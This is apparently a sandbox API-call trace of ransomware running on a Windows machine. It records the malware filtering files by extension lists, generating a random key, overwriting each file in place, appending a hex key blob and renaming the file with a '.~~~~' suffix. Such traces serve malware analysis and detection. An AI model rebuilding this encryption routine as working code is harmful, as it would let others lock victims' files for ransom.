	[0142.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".ckp") returned 0x0
	[0142.073] lstrlenW (lpString=".dbt") returned 4
	[0142.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".dbt") returned 0x0
	[0142.073] lstrlenW (lpString=".db") returned 3
	[0142.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".db") returned 0x0
	[0142.073] lstrlenW (lpString=".TXT") returned 4
	[0142.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".TXT") returned 0x0
	[0142.074] lstrlenW (lpString=".MDF") returned 4
	[0142.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".MDF") returned 0x0
	[0142.074] lstrlenW (lpString=".bdb") returned 4
	[0142.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".bdb") returned 0x0
	[0142.074] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0142.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.074] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0142.075] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.075] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0142.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0142.076] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26206567169) returned 1
	[0142.076] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbe15e510, dwHighDateTime=0x1d60e1e)) 
	[0142.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0142.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0142.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0142.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3370
	[0142.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3370 | out: hHeap=0x300000) returned 1
	[0142.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0bc8
	[0142.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0142.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0142.076] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0142.077] GetLastError () returned 0x0
	[0142.077] GetLastError () returned 0x0
	[0142.077] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0142.077] GetLastError () returned 0x0
	[0142.077] GetLastError () returned 0x0
	[0142.078] ReadFile (in: hFile=0xc4, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x6e4a, lpOverlapped=0x0) returned 1
	[0142.171] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff91b6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.171] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x6e4a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x6e4a, lpOverlapped=0x0) returned 1
	[0142.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.172] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.172] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.172] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.172] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.172] CloseHandle (hObject=0xc4) returned 1
	[0142.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f50d8
	[0142.172] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6f.gif.~~~~")) returned 1
	[0142.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f50d8 | out: hHeap=0x300000) returned 1
	[0142.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0142.175] GetLastError () returned 0x0
	[0142.175] RtlWakeConditionVariable () returned 0x0
	[0142.176] GetCurrentThreadId () returned 0x3a4
	[0142.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".scr") returned 0x0
	[0142.176] lstrlenW (lpString=".cmd") returned 4
	[0142.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".cmd") returned 0x0
	[0142.176] lstrlenW (lpString=".dll") returned 4
	[0142.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".dll") returned 0x0
	[0142.176] lstrlenW (lpString=".bat") returned 4
	[0142.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".bat") returned 0x0
	[0142.176] lstrlenW (lpString=".cpl") returned 4
	[0142.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".cpl") returned 0x0
	[0142.176] lstrlenW (lpString=".sys") returned 4
	[0142.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".sys") returned 0x0
	[0142.176] lstrlenW (lpString=".msc") returned 4
	[0142.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".msc") returned 0x0
	[0142.176] lstrlenW (lpString=".com") returned 4
	[0142.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".com") returned 0x0
	[0142.176] lstrlenW (lpString=".lnk") returned 4
	[0142.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".lnk") returned 0x0
	[0142.176] lstrlenW (lpString=".msp") returned 4
	[0142.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".msp") returned 0x0
	[0142.176] lstrlenW (lpString=".pif") returned 4
	[0142.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".pif") returned 0x0
	[0142.177] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0142.179] lstrlenW (lpString=".sqb") returned 4
	[0142.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".sqb") returned 0x0
	[0142.179] lstrlenW (lpString=".ost") returned 4
	[0142.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".ost") returned 0x0
	[0142.179] lstrlenW (lpString=".txt") returned 4
	[0142.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".txt") returned 0x0
	[0142.179] lstrlenW (lpString=".mdt") returned 4
	[0142.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".mdt") returned 0x0
	[0142.179] lstrlenW (lpString=".BDB") returned 4
	[0142.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".BDB") returned 0x0
	[0142.179] lstrlenW (lpString=".eql") returned 4
	[0142.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".eql") returned 0x0
	[0142.179] lstrlenW (lpString=".DBF") returned 4
	[0142.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".DBF") returned 0x0
	[0142.179] lstrlenW (lpString=".EQL") returned 4
	[0142.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".EQL") returned 0x0
	[0142.179] lstrlenW (lpString=".FDB") returned 4
	[0142.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".FDB") returned 0x0
	[0142.179] lstrlenW (lpString=".EDB") returned 4
	[0142.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".EDB") returned 0x0
	[0142.179] lstrlenW (lpString=".DACPAC") returned 7
	[0142.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.179] lstrlenW (lpString=".VHD") returned 4
	[0142.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".VHD") returned 0x0
	[0142.180] lstrlenW (lpString=".DBV") returned 4
	[0142.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".DBV") returned 0x0
	[0142.180] lstrlenW (lpString=".dacpac") returned 7
	[0142.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".dacpac") returned 0x0
	[0142.180] lstrlenW (lpString=".sdf") returned 4
	[0142.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".sdf") returned 0x0
	[0142.180] lstrlenW (lpString=".accdb") returned 6
	[0142.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".accdb") returned 0x0
	[0142.180] lstrlenW (lpString=".DBX") returned 4
	[0142.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".DBX") returned 0x0
	[0142.180] lstrlenW (lpString=".MDT") returned 4
	[0142.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".MDT") returned 0x0
	[0142.180] lstrlenW (lpString=".SQB") returned 4
	[0142.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".SQB") returned 0x0
	[0142.180] lstrlenW (lpString=".vhd") returned 4
	[0142.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".vhd") returned 0x0
	[0142.180] lstrlenW (lpString=".bac") returned 4
	[0142.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".bac") returned 0x0
	[0142.180] lstrlenW (lpString=".mdf") returned 4
	[0142.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".mdf") returned 0x0
	[0142.180] lstrlenW (lpString=".BAK") returned 4
	[0142.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".BAK") returned 0x0
	[0142.180] lstrlenW (lpString=".BAC") returned 4
	[0142.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".BAC") returned 0x0
	[0142.180] lstrlenW (lpString=".dbs") returned 4
	[0142.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".dbs") returned 0x0
	[0142.181] lstrlenW (lpString=".vhdx") returned 5
	[0142.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".vhdx") returned 0x0
	[0142.181] lstrlenW (lpString=".NDF") returned 4
	[0142.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".NDF") returned 0x0
	[0142.181] lstrlenW (lpString=".dat") returned 4
	[0142.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".dat") returned 0x0
	[0142.181] lstrlenW (lpString=".DBS") returned 4
	[0142.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".DBS") returned 0x0
	[0142.181] lstrlenW (lpString=".CKP") returned 4
	[0142.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".CKP") returned 0x0
	[0142.181] lstrlenW (lpString=".edb") returned 4
	[0142.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".edb") returned 0x0
	[0142.181] lstrlenW (lpString=".PST") returned 4
	[0142.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".PST") returned 0x0
	[0142.181] lstrlenW (lpString=".dbf") returned 4
	[0142.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".dbf") returned 0x0
	[0142.181] lstrlenW (lpString=".SQL") returned 4
	[0142.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".SQL") returned 0x0
	[0142.181] lstrlenW (lpString=".pst") returned 4
	[0142.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".pst") returned 0x0
	[0142.181] lstrlenW (lpString=".dbv") returned 4
	[0142.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".dbv") returned 0x0
	[0142.181] lstrlenW (lpString=".SDF") returned 4
	[0142.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".SDF") returned 0x0
	[0142.181] lstrlenW (lpString=".dtxs") returned 5
	[0142.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".dtxs") returned 0x0
	[0142.182] lstrlenW (lpString=".db3") returned 4
	[0142.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".db3") returned 0x0
	[0142.182] lstrlenW (lpString=".OST") returned 4
	[0142.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".OST") returned 0x0
	[0142.182] lstrlenW (lpString=".dbx") returned 4
	[0142.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".dbx") returned 0x0
	[0142.182] lstrlenW (lpString=".DB3") returned 4
	[0142.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".DB3") returned 0x0
	[0142.182] lstrlenW (lpString=".DAT") returned 4
	[0142.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".DAT") returned 0x0
	[0142.182] lstrlenW (lpString=".VHDX") returned 5
	[0142.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".VHDX") returned 0x0
	[0142.182] lstrlenW (lpString=".ndf") returned 4
	[0142.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".ndf") returned 0x0
	[0142.182] lstrlenW (lpString=".DB") returned 3
	[0142.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".DB") returned 0x0
	[0142.182] lstrlenW (lpString=".sql") returned 4
	[0142.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".sql") returned 0x0
	[0142.182] lstrlenW (lpString=".MYD") returned 4
	[0142.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".MYD") returned 0x0
	[0142.182] lstrlenW (lpString=".DBT") returned 4
	[0142.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".DBT") returned 0x0
	[0142.182] lstrlenW (lpString=".ACCDB") returned 6
	[0142.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.182] lstrlenW (lpString=".fdb") returned 4
	[0142.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".fdb") returned 0x0
	[0142.183] lstrlenW (lpString=".bak") returned 4
	[0142.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".bak") returned 0x0
	[0142.183] lstrlenW (lpString=".myd") returned 4
	[0142.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".myd") returned 0x0
	[0142.183] lstrlenW (lpString=".DTXS") returned 5
	[0142.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".DTXS") returned 0x0
	[0142.183] lstrlenW (lpString=".ckp") returned 4
	[0142.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".ckp") returned 0x0
	[0142.183] lstrlenW (lpString=".dbt") returned 4
	[0142.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".dbt") returned 0x0
	[0142.183] lstrlenW (lpString=".db") returned 3
	[0142.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".db") returned 0x0
	[0142.183] lstrlenW (lpString=".TXT") returned 4
	[0142.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".TXT") returned 0x0
	[0142.183] lstrlenW (lpString=".MDF") returned 4
	[0142.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".MDF") returned 0x0
	[0142.183] lstrlenW (lpString=".bdb") returned 4
	[0142.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".bdb") returned 0x0
	[0142.183] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0142.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.183] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0142.185] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.185] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0142.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0142.185] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26217498157) returned 1
	[0142.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbe268eb0, dwHighDateTime=0x1d60e1e)) 
	[0142.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0142.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0142.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0142.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3760
	[0142.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3760 | out: hHeap=0x300000) returned 1
	[0142.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f50d8
	[0142.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c67a8
	[0142.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f50d8 | out: hHeap=0x300000) returned 1
	[0142.186] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0142.186] GetLastError () returned 0x0
	[0142.186] GetLastError () returned 0x0
